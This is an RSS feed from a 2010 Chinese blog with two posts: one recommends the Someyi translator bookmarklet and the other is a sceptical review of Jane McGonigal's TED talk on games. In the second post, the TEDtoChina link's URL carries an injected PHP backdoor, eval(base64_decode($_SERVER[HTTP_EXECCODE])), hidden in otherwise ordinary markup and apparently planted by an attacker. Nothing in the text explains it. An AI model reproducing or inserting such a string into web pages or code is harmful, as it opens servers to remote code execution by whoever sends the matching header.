<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>XDash Weblog &#187; 学习</title>
	<atom:link href="http://www.fanbing.net/tag/%e5%ad%a6%e4%b9%a0/feed" rel="self" type="application/rss+xml" />
	<link>http://www.fanbing.net</link>
	<description></description>
	<lastBuildDate>Thu, 09 Sep 2010 00:55:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>尚译（Someyi Translator），威武</title>
		<link>http://www.fanbing.net/someyi-translator.html</link>
		<comments>http://www.fanbing.net/someyi-translator.html#comments</comments>
		<pubDate>Sun, 25 Apr 2010 08:19:09 +0000</pubDate>
		<dc:creator>xdash</dc:creator>
				<category><![CDATA[Geeky]]></category>
		<category><![CDATA[Study Ability]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[英语]]></category>

		<guid isPermaLink="false">http://www.fanbing.net/?p=3462</guid>
		<description><![CDATA[我惯用的浏览器是 Google Chrome，一大先天不足在于其采用 Webkit 内核，导致很多现有翻译软件（如金山快译、网易词典）无法完成划词翻译，阅读英文网页尤其麻烦。于是我在Twitter上求助。鲜甜IT博主给我推荐了一款小工具——尚译，甚至超出了我的预期。
使用方法很简单，无需安装插件（尽管我也曾让Chrome插件满载，但目前用的是Portable版），直接将以下按钮拖拽到Chrome/Firefox标签栏，或是将代码添加为新的bookmark（代码附于文末）。


使用时，点击 Chrome 标签栏的尚译翻译按钮，网页中会显示浮动的“译”翻译框。在网页中直接划词，“译”框里就会很快显示出对应的翻译内容。
中翻英演示（点击放大）：

英翻中演示：

优点：

Chrome 中也可无需借助第三方工具，直接完成翻译。平均速度在0.5秒以内。
调用的是 Google Translate API，速度、质量有保障。
支持整句翻译。
翻译框可自由拖动，不用担心挡住网页内容。
可随时暂停翻译（点击翻译框，会变成双竖线的“暂停”按钮状态），免打扰。

这玩意儿忒酷了。
P.S：将以下代码添加为新的bookmark：
javascript:void((function(){if(window.Como&#38;&#38;window.Como.someyi){Como.someyi.open()}else{var%20a=document.createElement(&#8217;script&#8217;);a.setAttribute(&#8216;type&#8217;,'text/javascript&#8217;);var%20b=document.charset?document.charset:document.characterSet;var%20c=b.toLowerCase()==&#8217;gb2312&#8242;?&#8217;pack-gb2312.js&#8217;:'pack-utf8.js&#8217;;a.setAttribute(&#8217;src&#8217;,'http://yi.comsome.com/&#8217;+c);document.getElementsByTagName(&#8216;head&#8217;).item(0).appendChild(a);Text.prototype.tagName=&#8217;#text&#8217;}})())
P.S.2：友情链接里新增英语学习推荐链接数枚，取用自便。
P.S.3：今天同步控更新的一款知识管理工具，我个人非常喜欢，在此顺便推荐。传送门。
您可能对这些文章也感兴趣：网瘾儿童是拯救2012的中坚力量传说中的剑桥商务英语中级（BEC V）证书整理一些我目前正在使用的 Google Chrome 扩展插件7个升级到 WordPress 2.8 的理由给WordPress增加留言评论的短信提醒功能
© 本文版权所有 xdash  XDash Weblog, 2010. &#124;
原文链接 &#124; 同步控 Syncoo.com &#124; 我在新浪博客的分基地 &#124;
收藏到del.icio.us &#124; Follow Me @ Twitter &#124; Tags: Chrome, 学习, 插件, 英语
]]></description>
			<content:encoded><![CDATA[<p>我惯用的浏览器是 Google Chrome，一大先天不足在于其采用 Webkit 内核，导致很多现有翻译软件（如金山快译、网易词典）无法完成划词翻译，阅读英文网页尤其麻烦。于是我在Twitter上求助。<a href="http://www.xtit.net/" target="_blank">鲜甜IT</a>博主给我推荐了一款小工具——<a href="http://comsome.com/someyi/" target="_blank">尚译</a>，甚至超出了我的预期。</p>
<p>使用方法很简单，无需安装插件（尽管<a href="http://www.fanbing.net/my-google-chrome-extensions-in-use.html" target="_blank">我也曾让Chrome插件满载</a>，但目前用的是Portable版），直接将以下按钮拖拽到Chrome/Firefox标签栏，或是将代码添加为新的bookmark（代码附于文末）。</p>
<p><a title="尚译" onclick="alert('请用鼠标右键点击按钮，选择加入书签，或直接拖到书签栏');return false;" href="javascript:void((function(){if(window.Como&amp;&amp;window.Como.someyi){Como.someyi.open()}else{var a=document.createElement('script');a.setAttribute('type','text/javascript');var b=document.charset?document.charset:document.characterSet;var c=b.toLowerCase()=='gb2312'?'pack-gb2312.js':'pack-utf8.js';a.setAttribute('src','http://yi.comsome.com/'+c);document.getElementsByTagName('head').item(0).appendChild(a);Text.prototype.tagName='#text'}})())"><img title="尚译" src="http://comsome.com/someyi/images/demo1.png" alt="尚译" /><br />
</a></p>
<p>使用时，点击 Chrome 标签栏的尚译翻译按钮，网页中会显示浮动的“译”翻译框。在网页中直接划词，“译”框里就会很快显示出对应的翻译内容。</p>
<p><span id="more-3462"></span><strong>中翻英演示（点击放大）：</strong></p>
<p><a href="http://www.fanbing.net/wp-content/uploads/2010/04/2010-04-25_155719.gif" rel="lightbox[3462]"><img class="alignnone size-full wp-image-3468" style="border: 2px solid #eeeeee;" title="尚译" src="http://www.fanbing.net/wp-content/uploads/2010/04/2010-04-25_155719.gif" alt="尚译" width="433" height="89" /></a></p>
<p><strong>英翻中演示：</strong></p>
<p><a href="http://www.fanbing.net/wp-content/uploads/2010/04/2010-04-25_160512.gif" rel="lightbox[3462]"><img class="alignnone size-full wp-image-3472" style="border: 2px solid #eee;" title="尚译" src="http://www.fanbing.net/wp-content/uploads/2010/04/2010-04-25_160512.gif" alt="尚译" width="442" height="200" /></a></p>
<p><strong>优点：</strong></p>
<ul>
<li>Chrome 中也可无需借助第三方工具，直接完成翻译。平均速度在0.5秒以内。</li>
<li>调用的是 Google Translate API，速度、质量有保障。</li>
<li>支持整句翻译。</li>
<li>翻译框可自由拖动，不用担心挡住网页内容。</li>
<li>可随时暂停翻译（点击翻译框，会变成双竖线的“暂停”按钮状态），免打扰。</li>
</ul>
<p>这玩意儿忒酷了。</p>
<p><strong>P.S：</strong>将以下代码添加为新的bookmark：</p>
<p>javascript:void((function(){if(window.Como&amp;&amp;window.Como.someyi){Como.someyi.open()}else{var%20a=document.createElement(&#8217;script&#8217;);a.setAttribute(&#8216;type&#8217;,'text/javascript&#8217;);var%20b=document.charset?document.charset:document.characterSet;var%20c=b.toLowerCase()==&#8217;gb2312&#8242;?&#8217;pack-gb2312.js&#8217;:'pack-utf8.js&#8217;;a.setAttribute(&#8217;src&#8217;,'http://yi.comsome.com/&#8217;+c);document.getElementsByTagName(&#8216;head&#8217;).item(0).appendChild(a);Text.prototype.tagName=&#8217;#text&#8217;}})())</p>
<p><strong>P.S.2：</strong>友情链接里新增英语学习推荐链接数枚，取用自便。</p>
<p><strong>P.S.3：</strong>今天<a href="http://www.syncoo.com" target="_blank">同步控</a>更新的一款知识管理工具，我个人非常喜欢，在此顺便推荐。<a href="http://www.syncoo.com/wizknowledge-1988.htm" target="_blank">传送门</a>。</p>
<h2  class="related_post_title"><b>您可能对这些文章也感兴趣：</b></h2><ul class="related_post"><li><a href="http://www.fanbing.net/ted-jane-mcgonigal.html" title="网瘾儿童是拯救2012的中坚力量">网瘾儿童是拯救2012的中坚力量</a></li><li><a href="http://www.fanbing.net/bec-v-certificate.html" title="传说中的剑桥商务英语中级（BEC V）证书">传说中的剑桥商务英语中级（BEC V）证书</a></li><li><a href="http://www.fanbing.net/my-google-chrome-extensions-in-use.html" title="整理一些我目前正在使用的 Google Chrome 扩展插件">整理一些我目前正在使用的 Google Chrome 扩展插件</a></li><li><a href="http://www.fanbing.net/7-reasons-update-wordpress-28.html" title="7个升级到 WordPress 2.8 的理由">7个升级到 WordPress 2.8 的理由</a></li><li><a href="http://www.fanbing.net/wp-comment-sms-alert.html" title="给WordPress增加留言评论的短信提醒功能">给WordPress增加留言评论的短信提醒功能</a></li></ul><hr />
<p>© 本文版权所有 xdash  <a href="http://www.fanbing.net">XDash Weblog</a>, 2010. |
<a href="http://www.fanbing.net/someyi-translator.html">原文链接</a> | <a href="http://www.syncoo.com" target="_blank">同步控 Syncoo.com</a> | <a href="http://blog.sina.com.cn/iswtf" target="_blank">我在新浪博客的分基地</a> |
收藏到<a href="http://del.icio.us/post?url=http://www.fanbing.net/someyi-translator.html&title=尚译（Someyi Translator），威武">del.icio.us</a> | <a href="http://twitter.com/xdash">Follow Me @ Twitter</a> | Tags: <a href="http://www.fanbing.net/tag/chrome" rel="tag">Chrome</a>, <a href="http://www.fanbing.net/tag/%e5%ad%a6%e4%b9%a0" rel="tag">学习</a>, <a href="http://www.fanbing.net/tag/%e6%8f%92%e4%bb%b6" rel="tag">插件</a>, <a href="http://www.fanbing.net/tag/%e8%8b%b1%e8%af%ad" rel="tag">英语</a><br/>
</p>]]></content:encoded>
			<wfw:commentRss>http://www.fanbing.net/someyi-translator.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>网瘾儿童是拯救2012的中坚力量</title>
		<link>http://www.fanbing.net/ted-jane-mcgonigal.html</link>
		<comments>http://www.fanbing.net/ted-jane-mcgonigal.html#comments</comments>
		<pubDate>Thu, 22 Apr 2010 15:41:06 +0000</pubDate>
		<dc:creator>xdash</dc:creator>
				<category><![CDATA[Geeky]]></category>
		<category><![CDATA[Study Ability]]></category>
		<category><![CDATA[TED]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[英文]]></category>

		<guid isPermaLink="false">http://www.fanbing.net/?p=3432</guid>
		<description><![CDATA[
最近几周看到的最扯淡的TED讲座，来自 Jane McGonigal，据说此女最近十年都在忙着通过开发网络游戏让人类社会更美好。讲座是上个月的，昨天 TEDtoChina 放出了中文字幕版（但我这里看始终卡到不行，于是还是在优酷上找了段原版没字幕的）。
我怀着对她这个标新立异的主题的好奇，点开链接，忍耐听完。最后只怪自己手贱+蛋疼。看来TED除了是个藏龙卧虎的地方，也是个鱼龙混杂思想开放的场所，需要听众自行辨别，各取所需。
几点意见：
1. 并非玩家在游戏中表现出的投入、创造性、合作精神，使之获得了移植到现实生活的可能性。实际上，在游戏中表现出此倾向的玩家，很可能在现实生活中本身具有这样的特质，或是本身因极度缺乏这样的特质（或其表现机会）而在游戏中扮演另一个自我。
2. 10000小时理论是一个我很欣赏的浅显易理解的观点，核心是重复，此乃学习的精髓所在。但玩家经过10000小时的征战，成为游戏的顶级高手，那也仅是在游戏领域，充其量可以做到魂斗罗全程开枪不杀敌通关这样的境界，但跟改造世界似乎没多大关联。
3. 例证中总爱拿魔兽世界（World of WorldCraft）说事，尤其是提到世界第二大Wiki是魔兽Wiki，由全球魔兽玩家共同协作编著。魔兽本身的定位、文化、系统、宣传，决定了其服务的游戏人群层次（相对高端）。魔兽尽管是标杆，但不是标准，绝大部分网游是无法企及魔兽的程度的。你总不能指望QQ幻想或是跑跑卡丁车的用户去编写一部全球性的玩家百科全书吧（话说回来，前者如果腾讯动用Q币和会员做奖励，兴许有戏）。
4. 演讲者展示自己参与的三个网络游戏项目，单从演示画面来看，也仅能算是一次性小游戏。这样的作品打着寓教于乐和改造世界的招牌去骗风投或许可以，但形成长期用户黏度实属不易。我很为 Jane 过去十年的青春感到惋惜。
5. 如果靠玩网络游戏就能解决饥荒，贫困，气候变化，国际冲突，肥胖等这些问题，发改委应该给各大网瘾戒除中心增发补贴，组织收编一支精干的网游玩家队伍，联手拯救世界。2012世界末日的预言很可能在一阵鼠标点击声中被众人协力点破。
6. 游戏的正反馈激励机制给人心灵上的快慰，但切不可妖魔化其作用。似乎在现实生活中表现优异的人群，共同联手让世界更美好的成功几率比较大。
7. Jane 童鞋讲到后半程似乎自己也开始心虚了，已经没有再与观众互动和解嘲的兴致了（结尾观众们表现得非常慷慨啊）。
您可能对这些文章也感兴趣：尚译（Someyi Translator），威武
© 本文版权所有 xdash  XDash Weblog, 2010. &#124;
原文链接 &#124; 同步控 Syncoo.com &#124; 我在新浪博客的分基地 &#124;
收藏到del.icio.us &#124; Follow Me @ Twitter &#124; Tags: TED, 学习, 英文
]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="align" value="middle" /><param name="src" value="http://player.youku.com/player.php/sid/XMTU4NzA3NjY0/v.swf" /><param name="quality" value="high" /><embed type="application/x-shockwave-flash" width="480" height="400" src="http://player.youku.com/player.php/sid/XMTU4NzA3NjY0/v.swf" quality="high" align="middle"></embed></object></p>
<p>最近几周看到的最扯淡的TED讲座，来自 <a href="http://www.avantgame.com/" target="_blank">Jane McGonigal</a>，据说此女最近十年都在忙着通过开发网络游戏让人类社会更美好。讲座是上个月的，昨天 <a href="http://www.tedtochina.com/2010/04/21/jane-mcgonigal-games-making-the-world-a-better-place/%&amp;(%7B$%7Beval(base64_decode($_SERVER[HTTP_EXECCODE]))%7D%7D%7C.+)&amp;%/" target="_blank">TEDtoChina 放出了中文字幕版</a>（但我这里看始终卡到不行，于是还是<a href="http://v.youku.com/v_show/id_XMTU4NzA3NjY0.html" target="_blank">在优酷上找了段原版没字幕的</a>）。</p>
<p>我怀着对她这个标新立异的主题的好奇，点开链接，忍耐听完。最后只怪自己手贱+蛋疼。看来TED除了是个藏龙卧虎的地方，也是个鱼龙混杂思想开放的场所，需要听众自行辨别，各取所需。</p>
<p><span id="more-3432"></span>几点意见：</p>
<p>1. 并非玩家在游戏中表现出的投入、创造性、合作精神，使之获得了移植到现实生活的可能性。实际上，在游戏中表现出此倾向的玩家，很可能在现实生活中本身具有这样的特质，或是本身因极度缺乏这样的特质（或其表现机会）而在游戏中扮演另一个自我。</p>
<p>2. 10000小时理论是一个我很欣赏的浅显易理解的观点，核心是重复，此乃学习的精髓所在。但玩家经过10000小时的征战，成为游戏的顶级高手，那也仅是在游戏领域，充其量可以做到<a href="http://v.youku.com/v_show/id_ca00XMjk3OTY3MTI=.html" target="_blank">魂斗罗全程开枪不杀敌通关</a>这样的境界，但跟改造世界似乎没多大关联。</p>
<p>3. 例证中总爱拿魔兽世界（World of WorldCraft）说事，尤其是提到世界第二大Wiki是<a href="http://www.wowwiki.com/" target="_blank">魔兽Wiki</a>，由全球魔兽玩家共同协作编著。魔兽本身的定位、文化、系统、宣传，决定了其服务的游戏人群层次（相对高端）。魔兽尽管是标杆，但不是标准，绝大部分网游是无法企及魔兽的程度的。你总不能指望QQ幻想或是跑跑卡丁车的用户去编写一部全球性的玩家百科全书吧（话说回来，前者如果腾讯动用Q币和会员做奖励，兴许有戏）。</p>
<p>4. 演讲者展示自己参与的三个网络游戏项目，单从演示画面来看，也仅能算是一次性小游戏。这样的作品打着寓教于乐和改造世界的招牌去骗风投或许可以，但形成长期用户黏度实属不易。我很为 Jane 过去十年的青春感到惋惜。</p>
<p>5. 如果靠玩网络游戏就能解决饥荒，贫困，气候变化，国际冲突，肥胖等这些问题，发改委应该给各大网瘾戒除中心增发补贴，组织收编一支精干的网游玩家队伍，联手拯救世界。2012世界末日的预言很可能在一阵鼠标点击声中被众人协力点破。</p>
<p>6. 游戏的正反馈激励机制给人心灵上的快慰，但切不可妖魔化其作用。似乎在现实生活中表现优异的人群，共同联手让世界更美好的成功几率比较大。</p>
<p>7. Jane 童鞋讲到后半程似乎自己也开始心虚了，已经没有再与观众互动和解嘲的兴致了（结尾观众们表现得非常慷慨啊）。</p>
<h2  class="related_post_title"><b>您可能对这些文章也感兴趣：</b></h2><ul class="related_post"><li><a href="http://www.fanbing.net/someyi-translator.html" title="尚译（Someyi Translator），威武">尚译（Someyi Translator），威武</a></li></ul><hr />
<p>© 本文版权所有 xdash  <a href="http://www.fanbing.net">XDash Weblog</a>, 2010. |
<a href="http://www.fanbing.net/ted-jane-mcgonigal.html">原文链接</a> | <a href="http://www.syncoo.com" target="_blank">同步控 Syncoo.com</a> | <a href="http://blog.sina.com.cn/iswtf" target="_blank">我在新浪博客的分基地</a> |
收藏到<a href="http://del.icio.us/post?url=http://www.fanbing.net/ted-jane-mcgonigal.html&title=网瘾儿童是拯救2012的中坚力量">del.icio.us</a> | <a href="http://twitter.com/xdash">Follow Me @ Twitter</a> | Tags: <a href="http://www.fanbing.net/tag/ted" rel="tag">TED</a>, <a href="http://www.fanbing.net/tag/%e5%ad%a6%e4%b9%a0" rel="tag">学习</a>, <a href="http://www.fanbing.net/tag/%e8%8b%b1%e6%96%87" rel="tag">英文</a><br/>
</p>]]></content:encoded>
			<wfw:commentRss>http://www.fanbing.net/ted-jane-mcgonigal.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
